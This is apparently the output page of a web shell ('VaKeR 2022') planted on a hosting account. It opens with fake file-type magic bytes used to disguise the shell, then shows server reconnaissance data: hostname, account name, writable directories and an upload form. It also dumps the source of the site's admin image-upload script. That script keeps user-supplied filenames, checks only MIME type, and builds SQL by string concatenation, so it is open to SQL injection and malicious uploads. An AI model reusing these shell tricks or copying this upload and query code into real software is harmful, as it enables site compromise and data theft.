%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/headerandfooterupdatedata.php
<?php

include('../dbcon.php');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
   
    $id = isset($_POST['sid']) && is_numeric($_POST['sid']) ? intval($_POST['sid']) : 0;

    if ($id <= 0) {
        die("<script>alert('Invalid record ID.'); window.history.back();</script>");
    }

   
    $imageFields = [
        'abouthi', 'aboutfi', 'servicehi', 'servicefi',
        'servicedhi', 'servicedfi', 'prijecthi', 'projectfi',
        'projectdhi', 'projectdfi', 'solutionhi', 'solutionfi',
        'solutiondhi', 'solutiondfi', 'domainhi', 'domainfi',
        'domanidhi', 'domanidfi', 'bloghi', 'blogfi',
        'blogdhi', 'blogdfi', 'ourteamdhi', 'ourteamdfi'
    ];

    $uploads = [];
    $uploadDir = './dataimg/';

    foreach ($imageFields as $field) {
        if (isset($_FILES[$field]) && $_FILES[$field]['error'] === UPLOAD_ERR_OK) {
            $fileName = basename($_FILES[$field]['name']);
            $tempName = $_FILES[$field]['tmp_name'];
            $targetPath = $uploadDir . $fileName;

           
            $fileType = mime_content_type($tempName);
            $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];

            if (in_array($fileType, $allowedTypes)) {
                
                if (move_uploaded_file($tempName, $targetPath)) {
                    $uploads[$field] = $fileName;
                } else {
                    echo "<script>alert('Failed to upload $field. Skipping...');</script>";
                }
            } else {
                echo "<script>alert('Invalid file type for $field. Only JPG, PNG, and GIF allowed.');</script>";
            }
        }
    }

    if (!empty($uploads)) {
        
        $qry = "UPDATE `header_and_footer_images` SET ";

        foreach ($uploads as $field => $fileName) {
            $qry .= " `$field` = '$fileName',";
        }

        
        $qry = rtrim($qry, ',') . " WHERE `id` = $id";

        
        if (mysqli_query($conn, $qry)) {
            echo "<script>alert('Data Updated Successfully'); window.open('headerandfootershow.php?sid=$id', '_self');</script>";
        } else {
            echo "<script>alert('Data Update Failed: " . mysqli_error($conn) . "'); window.history.back();</script>";
        }
    } else {
        echo "<script>alert('No valid files uploaded.'); window.history.back();</script>";
    }
} else {
    die("<script>alert('Invalid request method.'); window.history.back();</script>");
}
?>

VaKeR 2022